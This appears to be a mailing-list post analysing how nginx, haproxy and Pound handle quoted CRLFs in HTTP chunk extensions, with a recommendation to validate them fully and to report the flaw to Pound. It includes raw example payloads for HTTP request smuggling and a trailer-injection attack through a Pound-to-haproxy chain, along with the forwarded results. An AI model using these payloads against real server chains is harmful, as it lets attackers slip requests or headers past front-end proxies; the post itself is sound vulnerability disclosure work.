Long post incoming!

Both nginx and haproxy do not care whether double-quoted strings are
closed in chunk extensions; they just scan forward until hitting a
line ending. As far as I can determine, this is not exploitable
behavior with haproxy pointing at nginx or nginx pointing at haproxy
in any configuration.

Thus, I believe Rajat is mistaken in two ways:
1. His claim that the RFC says that dquoted-CRLFs are allowable is
wrong. The RFC says CR and LF cannot appear within a chunk-ext at all.
2. His claim that nginx allows dquoted-CRLFs in chunk-exts is wrong.
Nginx does the same thing as haproxy.

Two questions remain to be answered:
1. Might this behavior be exploitable when haproxy is composed with
some web server other than nginx?
2. Should haproxy change its current behavior?

First, question 1.

I believe that if there were a proxy server that did behave the way
Rajat claimed that nginx does, you could do request smuggling if that
server were forwarding requests to haproxy. (i.e., the inverse of the
server chain Rajat provided).

An example payload to exploit this discrepancy might look like this:
(formatted for the hypothetical proxy's perspective)
```
POST / HTTP/1.1\r\n
Host: a\r\n
Transfer-Encoding: chunked\r\n
\r\n
0;ext="\r\n\r\nGET /evil HTTP/1.1\r\nX:"\r\n
\r\n
```
(and now formatted for haproxy's perspective)
```
POST / HTTP/1.1\r\n
Host: a\r\n
Transfer-Encoding: chunked\r\n
\r\n
0;ext="\r\n
\r\n
GET /evil HTTP/1.1\r\n
X:"\r\n
\r\n
```

I dusted off the HTTP Garden to see if any suitable proxy server
exists, and as far as I can tell, one doesn't. Pound is very, very
close though. Pound will forward CRLFs inside of chunk-extensions, but
won't forward 2 of them in a row. This is suitable to get trailer
injection, but not enough for request smuggling, unless there's some
creative thing I'm not thinking of :)

To do the trailer injection, the payload looks like this for a `client
<-> pound <-> haproxy <-> ...` server chain:
Client sends this to pound: (text is formatted for pound's perspective)
```
POST / HTTP/1.1\r\n
Host: a\r\n
Transfer-Encoding: chunked\r\n
\r\n
0;ext="\r\nTrailer-not-interpreted-by-pound: value"\r\n
\r\n
```
Pound forwards this to haproxy: (text is formatted for haproxy's perspective)
```
'POST / HTTP/1.1\r\n
Host: a\r\n
Transfer-Encoding: chunked\r\n
X-Forwarded-For: 172.18.0.1\r\n
X-Forwarded-Proto: http\r\n
X-Forwarded-Port: 80\r\n
\r\n
0;ext="\r\n
Trailer-not-interpreted-by-pound: value"\r\n
\r\n'
```
Haproxy then forwards this to the next server in the chain:
```
POST / HTTP/1.1\r\n
host: a\r\n
transfer-encoding: chunked\r\n
x-forwarded-for: 172.18.0.1\r\n
x-forwarded-proto: http\r\n
x-forwarded-port: 80\r\n
\r\n
0\r\n
trailer-not-interpreted-by-pound: value"\r\n
\r\n
```

So I would say haproxy's behavior is indeed exploitable, but only when
a proxy with a much more egregious spec violation (Pound) is between
haproxy and the client.

As for question 2, I lean toward fully validating chunk extensions. If
we claim to implement a protocol, we should strive to do so completely
and correctly when possible. It seems unlikely to me that this would
have an unacceptable performance cost, because almost no one uses
chunk extensions anywway, so any validation code would probably run
pretty infrequently. For 99% of requests, this should cost ~1
predicted branch. Of course, theorizing about performance is super
hard, so I could easily be wrong about the cost of the extra
validation.

Whether you think the spec requires this is I think this is a matter of taste.

RFC 9112 says this:
> When a server listening only for HTTP request messages, or processing what
> appears from the start-line to be an HTTP request message, receives a
> sequence of octets that does not match the HTTP-message grammar aside from
> the robustness exceptions listed above, the server SHOULD respond with a 400
> (Bad Request) response and close the connection.

It also says this:
> A recipient MUST ignore unrecognized chunk extensions.

Certainly pound should be fixed though. I'll let them know.

-Ben


Reply via email to